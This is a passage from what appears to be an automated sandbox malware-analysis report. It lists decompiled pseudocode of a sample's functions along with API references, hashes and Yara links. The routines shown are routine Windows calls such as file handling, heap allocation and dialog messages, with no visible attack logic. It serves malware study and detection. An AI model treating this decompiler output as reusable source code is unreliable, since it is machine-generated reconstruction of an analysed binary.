RtlAllocateHeap.NTDLL(00000000,?,?,?,013C239A,?,0000015D,?,?,?,?,013C2F19,000000FF,00000000,?,?), ref: 013C5A1E

Memory Dump Source

Source File: 00000000.00000002.247513433.00000000013A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 013A0000, based on PE: true

Associated: 00000000.00000002.247509555.00000000013A0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.247533312.00000000013D0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.247548158.00000000013DA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.247548158.00000000013FA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.247558490.00000000013FC000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_13a0000_file.jbxd

Similarity

API ID: AllocateHeap
String ID:
API String ID: 1279760036-0
Opcode ID: 66d815bd15471c728ea6aa83c00d75695af1df85416aec46ec812a98751a0e80
Instruction ID: 01cc6fb492c5969fffec7bf5969db4e96efd40ff3899045f3cb322d9486e1ee3
Opcode Fuzzy Hash: 66d815bd15471c728ea6aa83c00d75695af1df85416aec46ec812a98751a0e80
Instruction Fuzzy Hash: 4DE0E5393613219AF633266F9C4079B3A4CDB51EB8F02012CAD0A92484EA50FC1087A1

Uniqueness

Uniqueness Score: -1.00%

Function 013A5B05 Relevance: 1.5, APIs: 1, Instructions: 32
COMMON

Download Yara Rule

C-Code - Quality: 94%

			E013A5B05(intOrPtr __ecx, void* __eflags) {
				intOrPtr _t25;
				intOrPtr _t34;
				void* _t36;

				_t25 = __ecx;
				E013BCDF0(E013CF4AE, _t36);
				_push(_t25);
				_t34 = _t25;
				 *((intOrPtr*)(_t36 - 0x10)) = _t34;
				E013AACB6(_t25); // executed
				_t2 = _t36 - 4;
				 *(_t36 - 4) =  *(_t36 - 4) & 0x00000000;
				E013AF195();
				 *(_t36 - 4) = 1;
				E013AF195();
				 *(_t36 - 4) = 2;
				E013AF195();
				 *(_t36 - 4) = 3;
				E013AF195();
				 *(_t36 - 4) = 4;
				E013AF195();
				 *(_t36 - 4) = 5;
				E013A5CFA(_t34,  *_t2);
				 *[fs:0x0] =  *((intOrPtr*)(_t36 - 0xc));
				return _t34;
			}

0x013a5b05
0x013a5b0a
0x013a5b0f
0x013a5b11
0x013a5b13
0x013a5b16
0x013a5b1b
0x013a5b1b
0x013a5b25
0x013a5b30
0x013a5b34
0x013a5b3f
0x013a5b43
0x013a5b4e
0x013a5b52
0x013a5b5d
0x013a5b61
0x013a5b68
0x013a5b6c
0x013a5b77
0x013a5b81

APIs

__EH_prolog.LIBCMT ref: 013A5B0A

Part of subcall function 013AACB6: __EH_prolog.LIBCMT ref: 013AACBB

Memory Dump Source

Source File: 00000000.00000002.247513433.00000000013A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 013A0000, based on PE: true

Associated: 00000000.00000002.247509555.00000000013A0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.247533312.00000000013D0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.247548158.00000000013DA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.247548158.00000000013FA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.247558490.00000000013FC000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_13a0000_file.jbxd

Similarity

API ID: H_prolog
String ID:
API String ID: 3519838083-0
Opcode ID: c7db43b1b1237b7f8ef166ad0a963bc91a43197a2292b1bc7e5cac9997c87679
Instruction ID: de69ea20c013797435d426b92e2ea7ddae576ce8ad8c08dcbccf5975c01b639d
Opcode Fuzzy Hash: c7db43b1b1237b7f8ef166ad0a963bc91a43197a2292b1bc7e5cac9997c87679
Instruction Fuzzy Hash: 7C01813490068ADAD714E7ACC4947DDF7E8EF2620CF40858DD85A63281DFB42B08C7A2

Uniqueness

Uniqueness Score: -1.00%

Function 013A94F3 Relevance: 1.5, APIs: 1, Instructions: 30
COMMON

Download Yara Rule

C-Code - Quality: 89%

			E013A94F3(void* __ecx) {
				void* _t16;
				void* _t21;

				_t21 = __ecx;
				_t16 = 1;
				if( *(__ecx + 4) != 0xffffffff) {
					if( *((char*)(__ecx + 0x10)) == 0 &&  *((intOrPtr*)(__ecx + 0xc)) == 0) {
						_t5 = FindCloseChangeNotification( *(__ecx + 4)) - 1; // -1
						asm("sbb bl, bl");
						_t16 =  ~_t5 + 1;
					}
					 *(_t21 + 4) =  *(_t21 + 4) | 0xffffffff;
				}
				 *(_t21 + 0xc) =  *(_t21 + 0xc) & 0x00000000;
				if(_t16 == 0 &&  *((intOrPtr*)(_t21 + 0x14)) != _t16) {
					E013A6D3C(0x13dcbe8, _t21 + 0x1e);
				}
				return _t16;
			}

0x013a94f5
0x013a94f7
0x013a94fd
0x013a9503
0x013a9514
0x013a9519
0x013a951b
0x013a951b
0x013a951d
0x013a951d
0x013a9521
0x013a9527
0x013a9537
0x013a9537
0x013a9540

APIs

FindCloseChangeNotification.KERNELBASE(000000FF,?,?,013A94C3), ref: 013A950E

Memory Dump Source

Source File: 00000000.00000002.247513433.00000000013A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 013A0000, based on PE: true

Associated: 00000000.00000002.247509555.00000000013A0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.247533312.00000000013D0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.247548158.00000000013DA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.247548158.00000000013FA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.247558490.00000000013FC000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_13a0000_file.jbxd

Similarity

API ID: ChangeCloseFindNotification
String ID:
API String ID: 2591292051-0
Opcode ID: 8fa0eb56d651e7c24474da9abf1c8b66a6fd38afd8b3a17a0961fed697dbe625
Instruction ID: ff6d94f71b0435b8fcec0232584730e3cb2d64b86b6923582f6ce2997ba037b5
Opcode Fuzzy Hash: 8fa0eb56d651e7c24474da9abf1c8b66a6fd38afd8b3a17a0961fed697dbe625
Instruction Fuzzy Hash: 3BF0BEB0482B048EEB348B28E55A792B7E8DB0262DF488B0E80E6538D0C361A04CDF10

Uniqueness

Uniqueness Score: -1.00%

Function 013AA195 Relevance: 1.5, APIs: 1, Instructions: 27
COMMON

Download Yara Rule

C-Code - Quality: 58%

			E013AA195(void* __ecx, void* __edx, void* __eflags, intOrPtr _a4, intOrPtr _a8) {
				void* _t12;
				intOrPtr _t20;

				_t20 = _a8;
				 *((char*)(_t20 + 0x1044)) = 0;
				if(E013AB57E(_a4) == 0) {
					_t12 = E013AA2C3(__edx, 0xffffffff, _a4, _t20);
					if(_t12 == 0xffffffff) {
						goto L1;
					}
					FindClose(_t12); // executed
					 *(_t20 + 0x1040) =  *(_t20 + 0x1040) & 0x00000000;
					 *((char*)(_t20 + 0x100c)) = E013A9EB1( *((intOrPtr*)(_t20 + 0x1008)));
					 *((char*)(_t20 + 0x100d)) = E013A9EC9( *((intOrPtr*)(_t20 + 0x1008)));
					return 1;
				}
				L1:
				return 0;
			}

0x013aa196
0x013aa19e
0x013aa1ac
0x013aa1b9
0x013aa1c1
0x00000000
0x00000000
0x013aa1c4
0x013aa1d0
0x013aa1e2
0x013aa1ed
0x00000000
0x013aa1f3
0x013aa1ae
0x00000000

APIs

FindClose.KERNELBASE(00000000,000000FF,?,?), ref: 013AA1C4

Memory Dump Source

Source File: 00000000.00000002.247513433.00000000013A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 013A0000, based on PE: true

Associated: 00000000.00000002.247509555.00000000013A0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.247533312.00000000013D0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.247548158.00000000013DA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.247548158.00000000013FA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.247558490.00000000013FC000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_13a0000_file.jbxd

Similarity

API ID: CloseFind
String ID:
API String ID: 1863332320-0
Opcode ID: b1b5824b78b4660ff34ce29cda19729d8d630f05404acb988652d96a5b84618c
Instruction ID: c5a5ed2e40d9abef551035a156e334c18ec9532867ad85fc636a398b8996fc90
Opcode Fuzzy Hash: b1b5824b78b4660ff34ce29cda19729d8d630f05404acb988652d96a5b84618c
Instruction Fuzzy Hash: B6F05E32409790FACA225BB88408BCBBB959F26379F448A49E2FD13191C2756099C721

Uniqueness

Uniqueness Score: -1.00%

Function 013A1EBF Relevance: 1.5, APIs: 1, Instructions: 23
COMMON

Download Yara Rule

C-Code - Quality: 100%

			E013A1EBF(intOrPtr* __ecx, intOrPtr __edx, void* __esi) {
				intOrPtr _t14;
				intOrPtr* _t18;
				intOrPtr _t21;
				void* _t23;

				_t21 = __edx;
				_t18 = __ecx;
				E013BCDF0(E013CF415, _t23);
				_t14 =  *((intOrPtr*)(_t18 + 0x21bc));
				if( *((char*)(_t14 + 0x6152)) == 0) {
					 *((intOrPtr*)(_t23 - 0x20)) = 0;
					 *((intOrPtr*)(_t23 - 0x1c)) = 0;
					 *((intOrPtr*)(_t23 - 0x18)) = 0;
					 *((intOrPtr*)(_t23 - 0x14)) = 0;
					 *((char*)(_t23 - 0x10)) = 0;
					 *((intOrPtr*)(_t23 - 4)) = 0;
					_t9 = _t23 - 0x20; // 0x7e0
					E013A1927(_t18, _t21, __esi, _t9);
					_t10 = _t23 - 0x20; // 0x7e0
					_t14 = E013A1615(_t10);
				}
				 *[fs:0x0] =  *((intOrPtr*)(_t23 - 0xc));
				return _t14;
			}

0x013a1ebf
0x013a1ebf
0x013a1ec4
0x013a1ec9
0x013a1ed9
0x013a1edd
0x013a1ee0
0x013a1ee3
0x013a1ee6
0x013a1ee9
0x013a1eec
0x013a1eef
0x013a1ef3
0x013a1ef8
0x013a1efb
0x013a1efb
0x013a1f03
0x013a1f0d

APIs

__EH_prolog.LIBCMT ref: 013A1EC4

Part of subcall function 013A1927: __EH_prolog.LIBCMT ref: 013A192C

Memory Dump Source

Source File: 00000000.00000002.247513433.00000000013A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 013A0000, based on PE: true

Associated: 00000000.00000002.247509555.00000000013A0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.247533312.00000000013D0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.247548158.00000000013DA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.247548158.00000000013FA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.247558490.00000000013FC000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_13a0000_file.jbxd

Similarity

API ID: H_prolog
String ID:
API String ID: 3519838083-0
Opcode ID: 29b8ed840194cf94d3b05e5acdb4b8af1c39d467f324d97486761e808a166183
Instruction ID: 6db58896dd55fa7bfccbc1bfd60ee77ad355bacf8ea4dcd9892a5aaf73331fa8
Opcode Fuzzy Hash: 29b8ed840194cf94d3b05e5acdb4b8af1c39d467f324d97486761e808a166183
Instruction Fuzzy Hash: 44F092B1D002898ECF55EFACC545AEEBBB4FB29208F4445BED519E7202EB3556048BA1

Uniqueness

Uniqueness Score: -1.00%

Function 013A1EC4 Relevance: 1.5, APIs: 1, Instructions: 22
COMMON

Download Yara Rule

C-Code - Quality: 100%

			E013A1EC4(intOrPtr* __ecx, intOrPtr __edx, void* __esi) {
				void* _t12;
				intOrPtr _t14;
				intOrPtr* _t18;
				intOrPtr _t21;
				void* _t23;

				_t21 = __edx;
				_t18 = __ecx;
				E013BCDF0(_t12, _t23);
				_t14 =  *((intOrPtr*)(_t18 + 0x21bc));
				if( *((char*)(_t14 + 0x6152)) == 0) {
					 *((intOrPtr*)(_t23 - 0x20)) = 0;
					 *((intOrPtr*)(_t23 - 0x1c)) = 0;
					 *((intOrPtr*)(_t23 - 0x18)) = 0;
					 *((intOrPtr*)(_t23 - 0x14)) = 0;
					 *((char*)(_t23 - 0x10)) = 0;
					 *((intOrPtr*)(_t23 - 4)) = 0;
					_t9 = _t23 - 0x20; // 0x7e0
					E013A1927(_t18, _t21, __esi, _t9);
					_t10 = _t23 - 0x20; // 0x7e0
					_t14 = E013A1615(_t10);
				}
				 *[fs:0x0] =  *((intOrPtr*)(_t23 - 0xc));
				return _t14;
			}

0x013a1ec4
0x013a1ec4
0x013a1ec4
0x013a1ec9
0x013a1ed9
0x013a1edd
0x013a1ee0
0x013a1ee3
0x013a1ee6
0x013a1ee9
0x013a1eec
0x013a1eef
0x013a1ef3
0x013a1ef8
0x013a1efb
0x013a1efb
0x013a1f03
0x013a1f0d

APIs

__EH_prolog.LIBCMT ref: 013A1EC4

Part of subcall function 013A1927: __EH_prolog.LIBCMT ref: 013A192C

Memory Dump Source

Source File: 00000000.00000002.247513433.00000000013A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 013A0000, based on PE: true

Associated: 00000000.00000002.247509555.00000000013A0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.247533312.00000000013D0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.247548158.00000000013DA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.247548158.00000000013FA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.247558490.00000000013FC000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_13a0000_file.jbxd

Similarity

API ID: H_prolog
String ID:
API String ID: 3519838083-0
Opcode ID: 9174b26c55bc6689883bf4742441a397630375c3705d662e38516824eb19a35e
Instruction ID: 07f9af57af42fbb6ad0e5869760151475ec13f46e3378991d9368b7e3cac693e
Opcode Fuzzy Hash: 9174b26c55bc6689883bf4742441a397630375c3705d662e38516824eb19a35e
Instruction Fuzzy Hash: C3F092B1C002898ECF55DFACC545AEEBBB4EB29204F4445AEC409E7202EB3556048B91

Uniqueness

Uniqueness Score: -1.00%

Function 013AF944 Relevance: 1.5, APIs: 1, Instructions: 21
threadCOMMON

Download Yara Rule

C-Code - Quality: 75%

			E013AF944() {
				void* __esi;
				void* _t2;

				E013B06A8(); // executed
				_t2 = E013B06AD();
				if(_t2 != 0) {
					_t2 = E013A6D8A(_t2, 0x13dcbe8, 0xff, 0xff);
				}
				if( *0x13dcbf3 != 0) {
					_t2 = E013A6D8A(_t2, 0x13dcbe8, 0xff, 0xff);
				}
				__imp__SetThreadExecutionState(1);
				return _t2;
			}

0x013af946
0x013af94b
0x013af95c
0x013af961
0x013af961
0x013af96d
0x013af972
0x013af972
0x013af979
0x013af981

APIs

SetThreadExecutionState.KERNEL32 ref: 013AF979

Memory Dump Source

Source File: 00000000.00000002.247513433.00000000013A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 013A0000, based on PE: true

Associated: 00000000.00000002.247509555.00000000013A0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.247533312.00000000013D0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.247548158.00000000013DA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.247548158.00000000013FA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.247558490.00000000013FC000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_13a0000_file.jbxd

Similarity

API ID: ExecutionStateThread
String ID:
API String ID: 2211380416-0
Opcode ID: ba5db09bdfc29cd3c1265ea02c82bfebac61ab8672b685eeead1ac6013744dc7
Instruction ID: 651cfc1985fc1b63999c1b4ded71fd796179292f69a49eb3ee158a0fa336226a
Opcode Fuzzy Hash: ba5db09bdfc29cd3c1265ea02c82bfebac61ab8672b685eeead1ac6013744dc7
Instruction Fuzzy Hash: 51D02B0171101222E929322C3448BFE291ECFD22ACF4C005DB2457B180CB454882A3A2

Uniqueness

Uniqueness Score: -1.00%

Function 013B8B64 Relevance: 1.5, APIs: 1, Instructions: 17
memoryCOMMON

Download Yara Rule

C-Code - Quality: 68%

			E013B8B64(signed int __eax, void* __ecx, intOrPtr _a4, intOrPtr _a8) {
				signed int _v8;
				void* _t6;

				_push(__ecx);
				_push(0x10);
				L013BCD76();
				_v8 = __eax;
				if(__eax == 0) {
					return 0;
				}
				_t6 = E013B8923(__eax, _a4, _a8); // executed
				return _t6;
			}

0x013b8b67
0x013b8b68
0x013b8b6a
0x013b8b6f
0x013b8b74
0x00000000
0x013b8b85
0x013b8b7e
0x00000000

APIs

GdipAlloc.GDIPLUS(00000010), ref: 013B8B6A

Part of subcall function 013B8923: GdipCreateBitmapFromStreamICM.GDIPLUS(?,?), ref: 013B8944

Memory Dump Source

Source File: 00000000.00000002.247513433.00000000013A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 013A0000, based on PE: true

Associated: 00000000.00000002.247509555.00000000013A0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.247533312.00000000013D0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.247548158.00000000013DA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.247548158.00000000013FA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.247558490.00000000013FC000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_13a0000_file.jbxd

Similarity

API ID: Gdip$AllocBitmapCreateFromStream
String ID:
API String ID: 1915507550-0
Opcode ID: b3ecc342144db532c8dedf8b776bc33c6e15ccf428a3dce563ad8a90b77a80c7
Instruction ID: 1c2bcb5b51bbe2f2ccf4dc382e1340ea2b7461af7a7de217786a08ff7fb44289
Opcode Fuzzy Hash: b3ecc342144db532c8dedf8b776bc33c6e15ccf428a3dce563ad8a90b77a80c7
Instruction Fuzzy Hash: 96D0A77060010DBBDF41AF788C41DFDBA9CEB11254F0085A6AE0485950FA71CD106251

Uniqueness

Uniqueness Score: -1.00%

Function 013A976A Relevance: 1.5, APIs: 1, Instructions: 15
COMMON

Download Yara Rule

C-Code - Quality: 100%

			E013A976A(void* __ecx) {
				long _t3;

				if( *(__ecx + 4) != 0xffffffff) {
					_t3 = GetFileType( *(__ecx + 4)); // executed
					if(_t3 == 2 || _t3 == 3) {
						return 1;
					} else {
						return 0;
					}
				} else {
					return 0;
				}
			}

0x013a976e
0x013a9776
0x013a977f
0x013a978c
0x013a9786
0x013a9788
0x013a9788
0x013a9770
0x013a9772
0x013a9772

APIs

GetFileType.KERNELBASE(000000FF,013A969C), ref: 013A9776

Memory Dump Source

Source File: 00000000.00000002.247513433.00000000013A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 013A0000, based on PE: true

Associated: 00000000.00000002.247509555.00000000013A0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.247533312.00000000013D0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.247548158.00000000013DA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.247548158.00000000013FA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.247558490.00000000013FC000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_13a0000_file.jbxd

Similarity

API ID: FileType
String ID:
API String ID: 3081899298-0
Opcode ID: 276ab8c00957a1ea37d0797a9961ff5af273f09aec10e8ae1155d8c7bf4ad30f
Instruction ID: 3ea4780ba9b64b0012f04d92877bd36effc4414dfb4ab4ea3c1c654d2cdfc93e
Opcode Fuzzy Hash: 276ab8c00957a1ea37d0797a9961ff5af273f09aec10e8ae1155d8c7bf4ad30f
Instruction Fuzzy Hash: E5D0123041120065CE760D3C6D091556E51DB832AEB68CAE4E125D40A5CB23C483F750

Uniqueness

Uniqueness Score: -1.00%

Function 013BBF76 Relevance: 1.5, APIs: 1, Instructions: 13
windowCOMMON

Download Yara Rule

C-Code - Quality: 100%

			E013BBF76(intOrPtr _a20, intOrPtr _a24, intOrPtr _a28, intOrPtr _a32) {
				void* _t7;

				SendDlgItemMessageW( *0x13e20f0, 0x6a, 0x402, E013AEE6D(_a20, _a24, _a28, _a32), 0); // executed
				_t7 = E013B991D(); // executed
				return _t7;
			}

0x013bbf9b
0x013bbfa1
0x013bbfa6

APIs

SendDlgItemMessageW.USER32(0000006A,00000402,00000000,?,?), ref: 013BBF9B

Part of subcall function 013B991D: PeekMessageW.USER32(?,00000000,00000000,00000000,00000000), ref: 013B992E
Part of subcall function 013B991D: GetMessageW.USER32(?,00000000,00000000,00000000), ref: 013B993F
Part of subcall function 013B991D: TranslateMessage.USER32(?), ref: 013B9949
Part of subcall function 013B991D: DispatchMessageW.USER32(?), ref: 013B9953

Memory Dump Source

Source File: 00000000.00000002.247513433.00000000013A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 013A0000, based on PE: true

Associated: 00000000.00000002.247509555.00000000013A0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.247533312.00000000013D0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.247548158.00000000013DA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.247548158.00000000013FA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.247558490.00000000013FC000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_13a0000_file.jbxd

Similarity

API ID: Message$DispatchItemPeekSendTranslate
String ID:
API String ID: 4142818094-0
Opcode ID: 80fdb0fe060c078f1c9a550cc751388faee4d9152b4375dc5e205a6de0676fd8
Instruction ID: 095ef6b189d6b52299f26649775693814e915540a584f772248d9932a2be638c
Opcode Fuzzy Hash: 80fdb0fe060c078f1c9a550cc751388faee4d9152b4375dc5e205a6de0676fd8
Instruction Fuzzy Hash: 4BD09E71144301BADA112B51DE05F0A7AE7BB98B08F404954B344740F486A29E21EB11

Uniqueness

Uniqueness Score: -1.00%

Function 013BCD5B Relevance: 1.5, APIs: 1, Instructions: 10
COMMON

Download Yara Rule

C-Code - Quality: 58%

			E013BCD5B() {
				void* _t3;
				void* _t4;
				void* _t8;
				void* _t9;
				void* _t10;

				_push(_t4);
				E013BCABB(_t3, _t4, _t8, _t9, _t10, 0x13d832c, 0x13daa14); // executed
				goto __eax;
			}

0x013bcd65
0x013bcd6d
0x013bcd74

APIs

___delayLoadHelper2@8.DELAYIMP ref: 013BCD6D

Part of subcall function 013BCABB: DloadReleaseSectionWriteAccess.DELAYIMP ref: 013BCB38
Part of subcall function 013BCABB: RaiseException.KERNEL32(C06D0057,00000000,00000001,?), ref: 013BCB49

Memory Dump Source

Source File: 00000000.00000002.247513433.00000000013A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 013A0000, based on PE: true

Associated: 00000000.00000002.247509555.00000000013A0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.247533312.00000000013D0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.247548158.00000000013DA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.247548158.00000000013FA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.247558490.00000000013FC000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_13a0000_file.jbxd

Similarity

API ID: AccessDloadExceptionHelper2@8LoadRaiseReleaseSectionWrite___delay
String ID:
API String ID: 1269201914-0
Opcode ID: 4c241ceaaef641b8f095fba7c658d40e6914391ed64d444e6a23bafbe5aea24f
Instruction ID: 111607bba164c0b203b4677be324735a82d0e8245a02d971b45a45770fb7427a
Opcode Fuzzy Hash: 4c241ceaaef641b8f095fba7c658d40e6914391ed64d444e6a23bafbe5aea24f
Instruction Fuzzy Hash: 48B012CF268002BDF134A21D7F49C77020CC0C0D1D320915FF501D0944F8401C4B0032

Uniqueness

Uniqueness Score: -1.00%

Function 013BC725 Relevance: 1.5, APIs: 1, Instructions: 10
COMMON

Download Yara Rule

C-Code - Quality: 58%

			E013BC725() {
				void* _t3;
				void* _t4;
				void* _t8;
				void* _t9;
				void* _t10;

				_push(_t4);
				E013BCABB(_t3, _t4, _t8, _t9, _t10, 0x13d82cc, 0x13daa68); // executed
				goto __eax;
			}

0x013bc72f
0x013bc737
0x013bc73e

APIs

___delayLoadHelper2@8.DELAYIMP ref: 013BC737

Part of subcall function 013BCABB: DloadReleaseSectionWriteAccess.DELAYIMP ref: 013BCB38
Part of subcall function 013BCABB: RaiseException.KERNEL32(C06D0057,00000000,00000001,?), ref: 013BCB49

Memory Dump Source

Source File: 00000000.00000002.247513433.00000000013A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 013A0000, based on PE: true

Associated: 00000000.00000002.247509555.00000000013A0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.247533312.00000000013D0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.247548158.00000000013DA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.247548158.00000000013FA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.247558490.00000000013FC000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_13a0000_file.jbxd

Similarity

API ID: AccessDloadExceptionHelper2@8LoadRaiseReleaseSectionWrite___delay
String ID:
API String ID: 1269201914-0
Opcode ID: 1efab4c78236607e65b6e4a8153ac27f41c797f1edde09927d7795de6cc862fb
Instruction ID: 68f391a7ce9b82e6fbc3722b85fb40ba32fe0b36fde164af138900e77f4ffc00
Opcode Fuzzy Hash: 1efab4c78236607e65b6e4a8153ac27f41c797f1edde09927d7795de6cc862fb
Instruction Fuzzy Hash: 34B012C7268A027CF014A1053FC6C76120CC0C5D2C320924FF500C8940F4401C490032

Uniqueness

Uniqueness Score: -1.00%

Function 013BC75E Relevance: 1.5, APIs: 1, Instructions: 10
COMMON

Download Yara Rule

C-Code - Quality: 58%

			E013BC75E() {
				void* _t3;
				void* _t4;
				void* _t8;
				void* _t9;
				void* _t10;

				_push(_t4);
				E013BCABB(_t3, _t4, _t8, _t9, _t10, 0x13d82cc, 0x13daa64); // executed
				goto __eax;
			}

0x013bc72f
0x013bc737
0x013bc73e

APIs

___delayLoadHelper2@8.DELAYIMP ref: 013BC737

Part of subcall function 013BCABB: DloadReleaseSectionWriteAccess.DELAYIMP ref: 013BCB38
Part of subcall function 013BCABB: RaiseException.KERNEL32(C06D0057,00000000,00000001,?), ref: 013BCB49

Memory Dump Source

Source File: 00000000.00000002.247513433.00000000013A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 013A0000, based on PE: true

Associated: 00000000.00000002.247509555.00000000013A0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.247533312.00000000013D0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.247548158.00000000013DA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.247548158.00000000013FA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.247558490.00000000013FC000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_13a0000_file.jbxd

Similarity

API ID: AccessDloadExceptionHelper2@8LoadRaiseReleaseSectionWrite___delay
String ID:
API String ID: 1269201914-0
Opcode ID: adc7f75db0fdb4ecf5df884f2c42e00662156cf15dd046a430510d0fd257a1d7
Instruction ID: 0cb4abe7cb8e4f24347b66864bfd7a37ebd68d490f1c1f856d74cb595cb3a563
Opcode Fuzzy Hash: adc7f75db0fdb4ecf5df884f2c42e00662156cf15dd046a430510d0fd257a1d7
Instruction Fuzzy Hash: DEB012C7268A037DF014E1093F86D77020CC0C1D1C320914FF500C5A40F4411C0A0032

Uniqueness

Uniqueness Score: -1.00%

Function 013BC74A Relevance: 1.5, APIs: 1, Instructions: 10
COMMON

Download Yara Rule

C-Code - Quality: 58%

			E013BC74A() {
				void* _t3;
				void* _t4;
				void* _t8;
				void* _t9;
				void* _t10;

				_push(_t4);
				E013BCABB(_t3, _t4, _t8, _t9, _t10, 0x13d82cc, 0x13daa6c); // executed
				goto __eax;
			}

0x013bc72f
0x013bc737
0x013bc73e

APIs

___delayLoadHelper2@8.DELAYIMP ref: 013BC737

Part of subcall function 013BCABB: DloadReleaseSectionWriteAccess.DELAYIMP ref: 013BCB38
Part of subcall function 013BCABB: RaiseException.KERNEL32(C06D0057,00000000,00000001,?), ref: 013BCB49

Memory Dump Source

Source File: 00000000.00000002.247513433.00000000013A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 013A0000, based on PE: true

Associated: 00000000.00000002.247509555.00000000013A0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.247533312.00000000013D0000.00000002.00000001.01000000.00000003.sdmpDownload File
